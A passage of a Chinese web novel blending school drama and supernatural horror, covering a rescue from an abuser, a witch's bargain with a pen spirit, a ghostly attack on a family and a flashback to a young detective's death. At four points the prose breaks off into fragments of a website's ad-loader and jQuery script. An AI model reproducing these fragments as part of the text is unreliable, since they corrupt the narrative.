她确信,以对方这种瘦如火柴棍的四肢和唯一凸出的肚腩,狠话撂得再多也没用。 所以胡锐锋在那儿逼逼赖赖的时候,戴玉粒非但半个字都没听,甚至还抽空把那根四十厘米长的镀锌管递给了背后的女孩。 “谢谢……”许晓芊脸上泪痕还未干,她仰头看着戴玉粒,愣愣地接了过来。 后者什么也没说,只朝她点点头。 过了两三秒钟,戴玉粒才想起什么似的,转过脸又补充一句:“你不用怕,他打不过我。” 听到这句话,许晓芊惊讶不已,但想起她刚刚拎着胡锐锋甩到灶台上,轻松得像在摔一只癞王八—— 原来,女孩子也可以这么勇敢又强大。 癞王八唱了半天的独角戏,见两个女孩都没搭理他,终于恼羞成怒。 只不过,他冲过来的下一秒就被戴玉粒抬腿踹飞。 “我真的已经报案了,你听不懂人话吗?”粒粒同学蹙着眉问道,语气不卑不亢,听起来像是很认真在跟对方讲道理。 “要是把你打残了,我下午就得跟着去安全署做笔录,没法上学了。” … “戴玉粒!你没事吧,那个狗杂种有没有欺负你?” 高照带着一帮小弟狂奔而来的时候,远远就看见那女孩儿斯文静默地低着头,站在卤煮店碎掉的招牌旁边。 虽然马尾辫还扎得好好的,但她身上的校服外套却不翼而飞! “你,你怎么了?”高少爷一个急刹在她面前停住脚步,也不知是脑补了什么奇怪的东西,说话时声音都隐隐发颤。 戴玉粒转过脸,表情跟她上次做错一道送分题时那样,忧愁之余,还带着点气恼:“那个人的肋骨被我打断了,目测是轻伤一级。” “不!是我,胡锐锋的肋骨是我用高压锅砸断的。” 一个女孩拿着镀锌管从店里面走出来,身上套着戴玉粒的校服。只不过她个子太矮小,几乎是把那件大了两码的校服当裙子穿。 “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 戴玉粒同学只是刚好路过我家,你什么都没看见。”许晓芊的眼眶依然红肿,神情却多了几分刚毅。 “他痛晕过去了,你们现在赶紧回学校!” 戴玉粒同学目光炯炯地看向她,脸上明晃晃写着三个字:我不走。 “呃,这是我的。”高照从许晓芊手里拿回自己的“秘密武器”,也同样觉得这个局面非常棘手,“那你怎么办?” “没关系,安全署不会把我抓进去的。” 女孩藏在衣袖里的双手紧攥成拳。 她深呼吸了一口气,想勉力露出一个笑容,终究还是笑不出来。 “我已经怀孕了。” “什么?!” 在场众人一片哗然。 戴玉粒的脸色彻底沉下去了,她瞥了那帮男生一眼,眼神冷如数九寒冬。 连同高照在内,男生们顿时下意识噤声。 “当时没报案吗?”戴玉粒抬手搭在许晓芊肩膀上,轻轻搂住她。 许晓芊摇了摇头:“我有点记不清……那天我太害怕了,不敢被我爸妈知道,觉得自己……不干净了,回到家就只想赶紧去洗澡。” 说到最后,她的声音还是带着点哽咽。 … “所谓‘肮脏’、‘不干净’的,到底是什么呢?” 听到女巫的轻声感慨,某只知了猴从浑浑噩噩的状态里蓦然惊醒,完美演绎了什么叫“垂死病中惊坐起”。 接着他冲进卫生间,抱着马桶,狂吐了三分钟。 “许晓芊在害怕什么啊,被那啥的……明明是我。”郑颢那叫一个悲愤交加,鼻涕眼泪糊得满脸都是,怎么也擦不完,委屈得要命。 岑小哉飘在卫生间门外,语气凉凉地开口道:“别自欺欺人了,她的恐惧源于你的内心。” 郑颢再委屈也只能自己爬起来,打开水龙头洗完手,接着洗脸。 扯下毛巾把脸上的水迹擦干后,他无精打采地抬起头,打算继续跟女巫大人诉苦。 却看见,镜子里映出的,是一张被青灰诡气笼罩着的美人面容。她的眼眶里溢出血泪,只见眼白,没有半点瞳仁。 郑某人“咚”的一声,不知第几次晕倒在女巫面前。 “你好,冯筱迁。”女巫歪着头,非常友好地打了个招呼,“我叫岑小哉,你也可以称我为‘女巫玛菲’。” “我要杀了胡炯烽,是他害了我们。”冯筱迁眼中的血色依旧浑浊。 “呃嗯。”女巫难得被噎住,只好托着下巴,认真考虑了笔仙的需求。 “他现在还只是‘卢炯烽’。” “有什么区别吗?” 冯筱迁周身的怨气逐渐漫延开来。 眼看地上那只祭品……哦不,1号钥匙就要羊入虎口,岑小哉赶紧转移话题:“你的躯壳——或者说十八岁的你,现在还好好活着呢。” “其实也没多好。” 冯筱迁抬起手,抚上自己的脸颊。 “我十八岁的时候还没钱整容,长得又胖又丑,全班人都很讨厌我,每天都巴不得我能原地消失。” “直到遇见了莉莉。” “她就像,黑暗中的一束光。” 笔仙仿佛陷入一场漫长而迷离的回忆中,她的神情不再怨毒,隐约变得柔和起来。 与此同时,女巫脸上的微笑越来越僵硬。 总觉得好像有哪里不对? 难道,笔仙并非为了她自己,而是为了给魏笑纤报仇才出现的? 那她直奔医院去扑杀被置换了因果的“秦正浩”,这个可以理解。但又怎么会疯狂到连戴玉粒她们那几个陌生人都不放过? “魔法书,出来,就现在!”岑小哉小声怒吼道。 “知了猴的那个技能到底是怎么回事?” 【尊敬的主人,是这样的。噩梦选中了祭品,总会需要一些合理的进食理由。】魔法书再次使用它的夹子音对女巫进行折磨,【比如这种所谓“严重违背了人类世界规则”的作弊行为:“此刻你是张三·随机咔咔乱杀”。】 “等等,随机?”女巫终于抓住了重点。 魔法书上下浮动,表示点头。 14. 致命一击 “这什么敌我不分的破技能,连队友都给全歼了,简直是无比鸡肋的人形粒子武器嘛!” 女巫气得咬牙切齿,幸好那满腔怒火还没有烧干她最后一丝理智。 “难不成,这只知了猴真的就是‘终极反派’?” 【尊敬的主人,不好意思。请原谅我不能再继续剧透下去了,但要恭喜您,险胜了一局:笔仙生前的因果轨迹已经产生了偏差,历史线的收束将会延缓十个空间标准时。再接再励,祝您好运。】 魔法书自知言多必失,话音未落就立马遁走。 岑小哉:“呵呵。” 什么律法漏洞高智商犯罪,全都是噩梦副本腌制祭品的小手段而已。 合着唯一能加以利用的,竟然是最离谱的“碎尸杀人狂”? 她的视线幽幽瞥向前方。 “奇怪,我怎么会晕倒在厕所里?” 某位法外狂徒摸着后脑勺,仿佛大病初愈般,艰难无力地爬起来。 “刚刚我好像又看见笔仙了……真的好可怕呀!” 女巫斜睨着他,面无表情,抬了抬下巴:“她在你后面。” 郑颢一下子愣住了,脸上好不容易恢复的血色也立刻褪尽。 接着他哆哆嗦嗦地把双手放到地面上,以非常标准的慢动作,一步一步爬出了卫生间。 其实,只要郑颢稍微往后瞄一眼,他就能发现,笔仙仍然沉浸在自己的回忆当中,根本没有注意到他的存在。 面对当下滑稽中又隐约透出些许诡异的场景,女巫已然目光呆滞,脑子里反复盘旋着仅有的某个想法—— 这个噩梦的口味实在很刁钻,居然喜欢食用废物。 不过话说回来,魏笑纤倒像是某种镇定剂,只要提到她,笔仙就能暂时恢复成冯筱迁。 这又何尝不是一种益处呢? 岑小哉脸上露出了巨齿鲨般的微笑,决定与虎谋皮。 “冯筱迁,我有个计划,十天之内就能帮你干掉卢炯烽。” … 上周五那天救了许晓芊之后,戴玉粒和高照他们最终还是全部被带去了安全署。 原因很简单。 救护车过来拉走的,不止一个断了肋骨的胡锐锋,还有回家时被气到突发脑溢血的许老爷子。 许晓芊她奶奶上个月烫伤了胳膊,干脆就以此为理由,让大孙女休学准备嫁人,也正好在自家店里帮忙。 结果那日她换完药还没走到后巷,就被家门口那乌泱乌泱的一大群人惊呆了。 “让开让开,这都干嘛呢,怎么回事儿啊?”许老太太扒拉开人群,第一眼就瞧见了地上裂开的“函鼎”二字。 “哎呦我的老天爷啊,真是造孽啊!招牌都摔坏了,你个丧门星怎么看的店?养条狗都好过养你这么个又懒又馋的贱蹄子……” 老太太嘴里不干不净的还没骂过瘾,抬头一看,自家店里站着好几位“钦差大人”。 围观的街坊邻居不知哪个悄悄跟她嚼舌根:“中午吃完饭后那会子,突然就来了一伙小年轻,上门把您的孙女婿打了个半死。还有你们家老爷子,刚遛弯回来,一下子被气得厥过去了。” 听完以后,许老太太也差点厥过去了。 她猛地冲到自家店里,拉着其中一个长相老成的侦查员,扯起嗓子开嚎:“大探长啊——” 老夏同志在她口中忽然升官,此刻却直冒冷汗:“别!您是许晓芊的家人吧?我们探长在后边,有什么话您先跟她说。” 他挪开自己敦实如山的身躯,指了指正蹲在伤者面前的那位短发女士。 可许老太太先瞧见的,却是自己刚刚还骂得很起劲的孙女:“丫头!怎么了这是?哪个杀千刀的把你害成这样!” 听到奶奶破锣般的这一嗓子,许晓芊的那双柳叶眉忍不住蹙了又蹙,眼眶蓦地再次酸胀。 “唉,行了行了……奶奶在这儿,没人敢再欺负你。”许老太太揽住她,自个儿嘴角往下一撇,倒是先哭起来了。 折腾到当天下午五点,针对学生们的批评处理等一切事宜才算彻底办妥。 这群学生仔也终于被老师和家长接出了伍港区安全署。 临走前,戴玉粒从面色冷峻的探长手里接过书包和校服外套,忽然想起一件事情。 “妈妈,我们下个星期五要月考。” 已经走到门外的高照跟被雷劈了似的,缓缓回过头。 “从下周一开始,每天七点之前就要到学校,我就不在家吃早餐了。” 戴雪对着女儿微微一笑,眉眼瞬间变得柔和:“行,妈妈今晚要加班,你跟姥姥先吃饭,不用等我。” “是,探长。” 戴玉粒同学一脸正经,“唰”地举手齐眉,敬了个十分标准的礼。 高照站在门外,愣愣地望着她们,不知在想些什么。 “不好了,照哥。” 李万兴慌慌张张凑过来,连声音都刻意压低:“我刚刚听老钟他们说,杜倩倩要被学校辞退了。” “什么?”高照眉头一拧,下意识又看向里面那个还在跟母亲说话的女孩。 此刻,戴玉粒脸上露出了罕见的一抹笑靥,双颊竟有浅浅梨涡。 如此明媚,却仿佛骤然灼伤了他的双眼。 高照倏地转过脸,原本帅气的面容已变得扭曲:“那天都放学多久了,不可能有人看到的!” “照,照哥。”李万兴已经很久没见过他这么阴郁的表情,一时间说话都有点磕巴了,“还有就是……我爸明天要从古堃回来了。” 老李同志给高二爷当了三十年的随行司机。 二爷人在哪里,老李就跟到哪里。 这意味着,高照他爸也即将抵达伍港。 “对,快四月底了,我爸也是该回来了。”高照自嘲般咧开嘴角,笑得非常难看。 “回来看看他那个留在伍港的宝贝女儿。” … 好不容易盼来的周末,一眨眼就结束了。 预备铃声叮咚响起,被睡意淹没的王稻美同学拖着沉重步伐,慢吞吞挪进教室里。 听到后面那些鼠辈叽里呱啦的吵嚷声,她的大脑才终于缓缓开始工作。 “哎,你们知道不?” 说话的男生一边挤眉弄眼,一边用手比了个嘴对嘴的动作:“听说上周三的下午,照哥跟杜倩倩在五楼档案室里……那个啥呢!” “哎呦呦哟!你也知道啦?我还听说,有人在里面捡到了小气球……” 王稻美越听越反胃,转过头大声吼了一句:“你们几个胡说什么!” 后门边那些男生们吓了一跳,脸上的古怪笑意纷纷滞住。 睡眠不足所以心情不好的王稻美同学怎么看都觉得这几个鼠辈很碍眼,当即叉着腰噼里啪啦继续输出:“觉得杜老师只是来实习的就好欺负是吗?整天造谣传谣,也不怕舌头烂掉!” “行啊,谁造谣谁烂舌头!”最先引起话头的男生冷笑了一下,“杜倩倩这周都没来学校了,你还不知道吧?” “哈!没来又能证明什么,人家请假了不行吗?就你这舌头长得跟吊死鬼一样,烂不烂有什么区别?” “你!算了,好男不跟女斗。” 论骂人这门功夫,王稻美同学打遍全班无敌手。 她剩下的一小撮睡意倒也完全被气跑了,整个人彻底清醒过来。 没想到,他们刚才居然还敢反驳——这么有恃无恐? 王稻美后知后觉,再次转头,看向高大少的座位。 预料之中,空空如也。 她瞬间有点没底气了。 因为,杜倩倩刚来实习 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,就有很多人觉得她长得很像学校里的某个三好学生。 “难道这就是传说中的狗血替身文学!” 王稻美越想越觉得晦气。 三分钟后,戴玉粒抱着厚厚一沓测试卷回到班里。 她那位平日里以食为天的同桌兼好友,忽然以一种试探语气问道:“粒粒,今天文印室有开门吗?” 粒粒同学不明就里,但还是很实诚地点了点头。 但原本负责管理文印室的杜倩倩确实被辞退了。 这是王稻美放学后才不得不确定的事实。 早上被她骂得哑火的男生故意把那些不堪入耳的事情说给戴玉粒听了,而这段流言蜚语中的男主角则直接旷课,整整一天都没出现在教室里。 甚至,他根本就没走进校门。 戴玉粒再次在男生宿舍扑了个空。 下午放学后,王稻美陪着她一起杀去了学校后巷。 路过一家关门大吉的卤煮店之后,戴玉粒的脸色更加难看了。 她俩在地下游戏室各种奇怪视线的上下扫描中,头很铁地闯进高照那个豪华包厢,将他揪了出来。 “杜老师为什么会被学校辞退?” 戴玉粒神色沉郁,单刀直入,一个问题就砸得对方措手不及。 高照被她甩在墙上,背都撞得发疼,也没了好气:“谁啊?什么辞退?我不知道。” “高照,你不用装傻。学校里有多少人是因为你所以才针对我,我非常清楚。” “怎么着,杜倩倩欺负过你啊?” 这家伙居然还笑得出来。 戴玉粒微不可察地一皱眉,没理会他到底是虚情还是假意,再次问道:“她到底是不是因为你才被学校辞退的?” “是!是又怎样?”高照终于被问得不耐烦了,语气也狂躁起来,“杜倩倩好歹是成年人了,我再怎么样也只是个学生。如果她不是自愿的,我还能逼她是吗?” 青春期接近尾声,男生的声线太过低沉,再高亢的怒火也在巷道树荫里迅速散尽。 他面前的女孩依旧站在烈阳之下,眼底光亮却如冰中蕴泉,有慑人的寒意。 “那你呢?” “我?我怎么了?”高照嗤笑了一下,却抬眼看向别处。 “你是不是觉得自己无法无天,特别了不起。同学们畏惧你,连老师们都不敢轻易得罪你。” 戴玉粒一字一句说得很慢,至今还是不愿相信他真的无药可救。 “高照,你有考虑过未来吗?你要当一个什么样的人,难道就这样浑浑噩噩过一辈子吗?你知不知道,许晓芊有多想回学校来上课,可仅仅一墙之隔,她却根本无法跨越……” 高照摇了摇头,用一抹冷笑打断了她的话。 “那又如何?戴玉粒,这是我的人生。你既不是我爹妈,又不是我老婆,凭什么对我指手划脚?” 他一步步迫近,反将那女孩儿逼到了墙边。也终于决定,给她致命的一击:“醒醒吧,婷婷。我真的很讨厌你这副猫哭耗子假慈悲的虚伪作态,你姐曾经也希望我能奋发图强,如今她的坟头草都快比你高了。” 下一秒,戴玉粒抬手就是一拳,狠狠打在这位大少爷的脸上。 “高照,你给我听清楚了——” 她将自己打翻在地上的人重新拎起来,眼中亮光越发悍然。 “如果能用你的命换悬姐姐回来,那你休想看到明天的太阳。” 可戴玉粒怎么也没想到,高照挨了这一拳,顶着迅速红肿起来的左半边脸还是在笑,甚至笑得整个人都在抖。 “为什么?怎么每次我叫你婷婷,你就这么生气啊?” 戴玉粒丢下他,拍了拍手,很快恢复到平日里的冷静自持。 “因为袅袅没了,也就不再有婷婷了。” 15. 以父之名 周二上午七点,戴玉粒跟班主任请了假,拎着一个小蛋糕去了伍港区霞山墓园。 天色雾蒙蒙,刚下过一阵小雨。 晨风吹动树梢,空气中弥漫着幽冷而濡湿的青苔气味。 高马尾少女依然穿着一身校服,安静地走过绿植与墓茔之间。 倒数第四排的第二十四座墓台前,她停下脚步,将手里精美的草莓奶油蛋糕放在主碑前面。 黑色石碑上有一幅影雕人像,是个笑容灿若朝阳的短发女孩。 年轻的墓主头上戴了一顶宽檐帽,帽子正中央装订着警徽,领带系得笔挺,衬衫上的肩章、领花、胸徽一应俱全。 石碑下方刻着六个字:“爱女高悬之墓”。 “生日快乐,悬姐姐。” 戴玉粒站在墓碑前,轻轻唱起了生日歌。 少女的音色清冽,只不过整首歌被她唱得从头到尾就一个调,平如直线,毫无起伏。 其实戴玉粒也知道自己五音不全,所以她从未在别人面前露怯。 只有每年的4月24日,她才会悄悄到这里来唱一首生日歌,唱给她的悬姐姐听。 当年听完戴玉粒的“首唱”之后,高悬笑得差点从椅子上摔下去,一边擦眼泪一边卖力地鼓掌:“哈哈哈哈,婷婷唱歌还挺厉害的,歌声特别有机械感!” 那时候戴玉粒才六岁,听不懂“机械感”是什么东西,见她笑得那么开心,就觉得自己应该唱得还不错。 小女孩儿乖巧地抿着嘴,圆乎乎的脸颊上却浮起了两枚小梨涡。 长大后才知道,悬姐姐是拐着弯嘲笑她五音不全。一气之下,戴玉粒再也不肯开口唱歌了。 直到五年前…… “粒粒?” 戴雪撑着伞从墓园下方走上来,手里同样拎着一个草莓奶油蛋糕。 “怎么自己过来了?这几天一直下雨,还没记得带伞,你明天出门可不能这么粗心。” “我有带去学校,请假后就忘记拿出来了。”戴玉粒从妈妈手里接过伞,遮去天空中不知何时飘起的絮絮雨丝。 戴雪也将蛋糕放在墓前,却并未立刻起身,而是抬手擦了擦石碑上栩栩如生的影雕人像,仿佛在摩挲着那年轻女孩的脸庞。 “已经五年了。”她轻轻吁出一口气,闭了闭眼,咽下满腔悲苦。 “你如果还在,应该也能当上咱们伍港区刑侦支队的队长了吧。” 站在旁边乖巧举伞的戴玉粒想了一下,却很认真地说:“悬姐姐以前生日许愿的时候,每次都说她想去开火车,专门运送水果的那种。” “这样她就能吃到天底下最新鲜的草莓了,对吧?”戴雪顿时失笑。 戴玉粒果然点了点头。 “行了,都是孩子话。”戴雪站起来,神色惘然又失落,“袅袅跟你一样,从小就是个当探员的好苗子。就算不是,她父亲也不可能同意她去开什么火车。” 雨势渐渐变大,母女俩跟故去之人道了别,便手挽着手走向墓园出口。 门外停着一辆低调的黑色轿车,正准备下车的中年男人抬头瞥见她们,蓦地一愣。 “二爷,那是——”过来撑伞的司机也不免惊诧,却被他抬手止住了话头。 透过雨幕,高墨龙静静凝望着那对母女。 忽然想起二十年前,依偎在那道墨蓝色身影旁边的另一个女孩,同样身穿校服,却不是如此沉闷的黑白两色,而是明亮跳脱的柠檬黄。 她们同样只撑着一把伞,同样说说笑笑地朝他走来。可是一见到他,女孩就收起了笑容,很不高兴地撅起嘴,连头上的双马尾都没了活力。 后来,他的小姑娘慢慢长大,双马尾剪成齐耳短发,听话了,也懂事了。 却永远停留在二十二岁。 高墨龙看向车门边的后视镜,看见自己当初一夜之间变白的双鬓,忍不住垂下眼,叹了口气。 戴雪也看到了他们,犹豫两秒,还是带着女儿走过去,神色淡淡地敬了个礼:“长官。” 她身边的少女竟也跟着抬手敬礼,脸上没什么表情,动作却可谓是一丝不苟。 高墨龙眼中闪过微弱笑意,随即敛去。 他下了车,朝着戴雪点了点头:“我回来看看阿悬。” “我们也是来看她的。” 戴雪跟他之间没什么好寒暄的,礼貌性地微微一笑,然后直接告辞:“我女儿还要回去上课,署里也有事,我们就先走了。” 高墨龙迟疑了一瞬,似乎想再说些什么,最终也只能勉强应道:“好,雨天路滑,你们注意安全。” 直到那辆白色越野车扬长而去,他仍站在原地,一动不动地目送她们离开。 老李在旁撑着伞,皱眉道:“戴探长她何必跟您那么生分呢,好歹曾经也是一家人嘛。” 高墨龙倒是很平静,转身朝墓园里走去。 “有时候我总觉得,好像昨天或者前两天,雪儿还在逼我跟她离婚——” 说到这里,他“呵”地一笑:“可一眨眼就十七年了,真是岁月不饶人啊。” 谁知走了没两步,他们忽然听到门外又传来年轻人刻意压低音量的说话声。 “照哥!照哥,不就一把雨伞你至于吗?” “对啊,玉米粒那可是一个能把人肋骨活活打断的壮士啊!就这几滴雨,还能把她淋出毛病来不成?” “要我说,咱们这么巴巴地从学校里溜出来,跑到这荒郊野岭送伞,指不定人家三好学生还给甩脸子呢。” “山猪你闭嘴,来都来了。”最后是高照低声斥了一句,结束了这场苍蝇嗡嗡般的聒噪。 伍港一中的校霸三人组走到霞山墓园门口,其中两个骤然刹住脚步,仿佛原地石化成了两尊雕塑。 高照:“……爸。” 李万兴:“……爸!” 校霸三人组中的最后一个满脸疑惑:“爸爸?” … 许晓芊怀疑自己出现了幻觉。 自从爷爷住院,奶奶和爸爸每天轮流去医院陪护,妈妈还带着弟弟留在外地看病,就没人有空对她横挑鼻子竖挑眼了。 至于胡家人——准确来说是胡锐锋他妈,被伍港区安全署一句“家务事”给打发回去之后,好像也只顾着照料胡锐锋,竟也没来找许晓芊的麻烦。 至于当爹的胡耀祖,明明两个儿子是双胞胎,他却只对卢炯烽比较上心一些,对胡锐锋的态度则不咸不淡,标准的甩手掌柜作风。 这些天,每当许晓芊下楼时,她都忍不住看向那天中午戴玉粒翻过楼梯扶手的位置。 从胡锐锋被甩到灶台上的前一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 刻开始,那个位置的天花板下方,就忽然出现了—— 一顶猩红色的尖顶帽。 许晓芊起先还以为是自己眼花了,结果从安全署回到家一看,她吓得心头狂跳:尖顶帽依然飘浮在那里。 察觉到她的注视,那顶帽子还特地摇了摇自己帽尖顶端缀着的小毛球,就像是在跟她打招呼一样。 之后这三四天里,尖顶帽还是晃晃悠悠飘浮在原来的位置,没有丝毫变化。 周二晚上,李娇娇带着儿子许函鼎回来了。 许兴邦在医院守了老父一整天,又被催去交了一大笔住院费,回到家精疲力竭,连饭都没吃,倒头就睡。 结果他才刚刚沉入梦乡,就听见一声凄厉得刺耳的哭嚎:“啊!啊啊啊!” 正是他们许家的那一柱宝贝香火,不知道为什么刚进了家门就万分惊恐,放声尖叫起来。 李娇娇既要安抚儿子,又拖着大包小包的东西,一不留神被门槛绊住,母子二人连同行李全部跌成一堆,半晌都挣脱不起来。 许函鼎嚎得更大声了,活像一头驴被拉进屠宰场,立刻就有人要扒他的皮一样。 许兴邦吓得猛地弹起,整个人一骨碌滚到地上,摔了个七荤八素。额头还撞上了床头柜,当即隆起一个红肿大包。 “吵什么呢?李娇娇你个败家娘们会不会带孩子?”他骂骂咧咧地爬起来,趿拉着拖鞋,捂住脑袋往外走。 “许晓芊!死哪儿去了?赶紧下来帮忙看着你弟!” 回应他的,却只有楼梯拐角处,阴暗角落里蓦然响起的一记古怪笑声。 “嘻嘻。” 听着像是个陌生小女孩的声音,许兴邦一下子汗毛直竖:“什么玩意儿?谁啊!谁躲在那儿?” 他扯着嗓子大喊,试图给自己壮胆,可惜尾音已经忍不住开始发抖了。两条腿也跟着抖,就这么几级楼梯,都只能战战兢兢抓住扶手往下挪:“老,老婆!晓芊!你们在哪儿,快来救……” 前方忽然变得一片漆黑。 “嘻嘻,是我们呀——” “是我们回来啦——” “爸——爸——” 两双血淋淋的小手从黑暗中探出来,死死扒住了他的脸。 与此同时,李娇娇坐在行李堆里,抱着发狂大叫的许函鼎,同样抖成了筛子。 大门不知何时被关上了,怎么也打不开。电灯一直“兹拉兹拉”闪烁着,忽亮忽灭,楼上还突然传来了她丈夫撕心裂肺的惨叫声:“鬼啊——” 李娇娇也吓得尖叫起来,哆嗦着抱紧了儿子,手上却蓦地一阵剧痛。 她低头一看,拼命护在怀里的命根子,这时候正恶狠狠咬住她左手尾指,用力到能听见“嘎吱嘎吱”的响声。 “鼎鼎,快松开,是妈妈呀!”李娇娇痛得眼泪直掉,还是跟往常被儿子撕打一样,不忍心去掰他的嘴,只能小声哄着许函鼎别再折磨自己。 耳边却又倏地吹过一股寒气。 “他说有鬼,是在……说我吗?” 李娇娇不敢转头,连话都说不出来,泪眼朦胧地看着儿子。 而原本还一脸狰狞恨不能将亲妈手指头咬下来的许函鼎,忽然睁大了眼睛,缓缓松开嘴——并且越张越大,几乎将嘴皮子抻到了极致,眼珠子也瞪得快要脱眶。 16. 坠梦如昔 拜校霸三人组的乌鸦嘴所赐,戴玉粒回到家后洗了个头,当天晚上就开始发高烧。 姥姥年纪大了,夜里常常睡不着,又挂心着孙女生病,索性过去帮忙照料她,想让忙了一天的女儿先去休息。 戴雪嘴上应着好好好,转头却只走到卫生间,重新换了一盆热水过来,拧干毛巾继续给孩子擦脸。 “悬姐姐,不要去,回来……” “别动!高照!” 戴玉粒烧得昏昏沉沉,无意识发出几句呓语。 “这是又梦到袅袅了呀。”听清她在念叨什么之后,姥姥顿时湿了眼眶,“我就说不该再让咱们家婷婷跟高墨龙的儿子一个学校,每天抬头不见低头见的,多晦气!” 戴雪压低声音说道:“妈妈,别再喊那两个字了。毕竟是袅袅当时给她取的小名,待会儿粒粒要是听到,就更难受了。” 至于两个孩子后来都上了伍港一中这件事,其实她也不清楚,自家的宝贝闺女心里到底是怎么想的。 粒粒从小就是个很有自己主意的娃娃。 但凡她做了决定的事情,九百头牛都拉不回来。 得知高悬嘲笑小时候的自己五音不全,戴玉粒就再也不愿意开口唱歌。不管她的悬姐姐怎么千方百计地哄,不肯就是不肯,半句都不肯。 高悬怎么也想不到自己年少轻狂,一时贫嘴,居然时隔多年才惹得妹妹不高兴。只好绞尽脑汁选在生日那天,说要开车带着她的婷婷去“探险”。 听起来有点惊奇,实际上也就是周五放学后,偷偷载上小姑娘到古堃区玩一圈。 戴玉粒平日里是个循规蹈矩的乖宝宝。 然而—— 她的悬姐姐虽然一整年只有寒暑假三个月能见面,却爱玩又爱闹,心比猴子还野。 几乎不费吹灰之力,就把这个小学还没毕业的乖宝宝给煽动了。 “姥姥和妈妈只是怕你个小不点儿出门碰到坏人而已,可今天有我陪着呀!”高悬屈指敲了敲方向盘,要是她能长出一根尾巴,这会子估计早就翘到天上去了。 “婷婷小宝贝,偷偷告诉你一个好消息:悬姐姐我呀,现在已经是咱们伍港区安全署的侦查员了哟!” “我知道。” 十二岁的“婷婷小宝贝”坐在副驾驶位,一丝不苟地系好安全带,并且再三检查。接着才抬头,轻睨了她一眼:“但你还没转正。” “……” 新鲜出炉仅仅半个月的实习侦查员感到很受伤。 为了疗愈自己心头之痛,她猛地扑过去,捧住妹妹还没褪去婴儿肥的小脸蛋,用力啾了一口。 “高悬!你个大坏蛋!” “哈哈哈哈……” 欢声笑语飘散了一路。 当然,主要是高悬在笑,戴玉粒则有点后悔不该上这艘贼船。 直到越野车驶进古堃区下层的快速通道,高悬的通讯器非常突兀地响起紧急呼叫—— 戴玉粒瞄了一眼,上面赫然是“高探长”三个字。 高悬脸上的笑意淡去,选择接通:“探长,我这个月已经外派到伍港区了,而且现在是休假时……什么?” 她连珠炮一般的不耐烦语气被对方打断了,脸色变得有点凝重。 “好,我立刻就过去。” 通讯挂断,还没等她挤出一个笑容来哄小孩,戴玉粒就抢先开口:“你要是敢丢下我,我这辈子都不会再理你了。” “不是,我真没办法了呀婷婷。” 高悬愣是被这丫头闪闪发光的眼神吓了一跳,她挠了挠头,又重重叹气。 “要是把你也带过去,妈妈肯定饶不了我的……哦还有姥姥,她说不定得拿擀面杖锤我呢!” “是高家有事找你了,对不对?”戴玉粒静静看着她挠头,语气十分笃定,“悬姐姐,我一定不会给你添乱的。” 戴玉粒向来是个说到做到的乖宝宝。 “哎,好吧。其实也不是什么大事。”高悬嘟囔着调转了车头,往古堃区上层开去。 车窗外逼仄阴暗的街市逐渐远去,入目皆是霓虹灯牌点缀的高楼大厦,竟连云层上方也流光溢彩。 “就,署里有任务。那个谁……他带队,脱不开身。” “阿照这臭小子,非得挑在今天跟他妈闹脾气,早饭都没吃就离家出走,也没去学校,一整天都不知道跑哪儿去了。” “听说他妈哭得都快化掉了,我好歹也算是他姐,就帮忙去把那糟心玩意儿找回来呗——免得到时候被他爸打死。” 小声嗫嚅到最后一句,高悬几乎就没张开嘴,那几个字近乎气音。 戴玉粒越听就越拧紧了眉头,许久之后才冷冷吐出两个字:“祸害。” 作为祸害本害的姐姐,高悬再次感到很受伤。 “我说婷婷小宝贝,你骂他不就是在骂我么?” 说到这个,戴玉粒更不乐意了。 “谁让你姓高?” “这也不是我能决定的事情嘛。”某个姓高的脸上露出一抹苦笑。 戴玉粒眨巴着亮晶晶的双眼,带着点小雀跃,提议道:“你可以改名叫戴悬,或者戴袅袅。” “哈哈那太麻烦了,好多资料得跟着改呢,我非得跑吐血了不可。” 几分钟后,越野车脱离车流,缓缓开向一处灯火通明的施工场所。 许多形态各异的机器人正在里面爬上爬下,快速地砌砖垒墙。 戴玉粒看了又看,觉得很新奇:“这里在建什么?晚上都不用停工的吗?” “好像是新的人民医院,旧的那个在下层。” 高悬把脑袋探到车窗外东张西望,不知是在找人还是找地方停车。 “上层这边现在都是人工智能主导的全自动化施工,只需要工程师在办公室盯着终端就行,可轻松了。” “那我们是来这儿找……” 女孩儿的话还没问完,她姐姐忽然抻着脖子怒吼一声:“高照!你个小兔崽子,立马给我站住!” 一个反戴着鸭舌帽的矮小身影出现在前方百米外,被吼得整个人都原地起跳。 就在同一时间,工地里蓦地传出几声槍响。 戴玉粒微微睁大了眼睛,高悬也是一脸愕然:“真是见鬼了,他们怎么会跑到这儿来!” 前边那小子转头看了两眼,居然很不怕死地迈开腿,继续往工地那边跑。 高悬猛地停下车,不分由说把戴玉粒塞到了驾驶座后面。 “婷婷,你藏在这里,不准出来。”她警告完毕,从腰侧槍套摸出一把05式转轮,关上车门匆匆追了过去。 戴玉粒很想拦住她。 一股突如其来的窒息感,将女孩牢牢禁锢在黑暗中。 或许只要说一句“姐姐,我害怕”,就能把悬姐姐留下来。 可闯进危险区域的人,怎么偏偏是那个高照。 … “姐!” “不能过来……快跑!” 那道墨蓝色的身影逐渐变得清晰。 高照整个人却仿佛被拽 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 入一个巨大的黑色漩涡,如溺水之人拼尽所有力气,最终也只能喊出这么一句。 黑暗骤然破碎,他跌入无边光明。 上午的考试结束,全班人立即在下课铃声响起的那一刻嗷嗷直奔食堂。不出几秒,教室里只剩下最前方的三好学生,和她那个牙尖嘴利的好同桌。 “哟,大少爷,原来你这种人也会做噩梦啊?”王稻美转过头,语气凉凉地开嘲讽。 高照一句话也不说,神情怔愣,没什么反应。 他在桌子上趴了半天才坐直起来,抬手抓了抓头发。 往常只会安静离开的那人却一转身,走到他面前。 “你也梦到悬姐姐了?” 每次感冒,她的声音都会变得含糊又微微嘶哑,像小时候的哭腔。 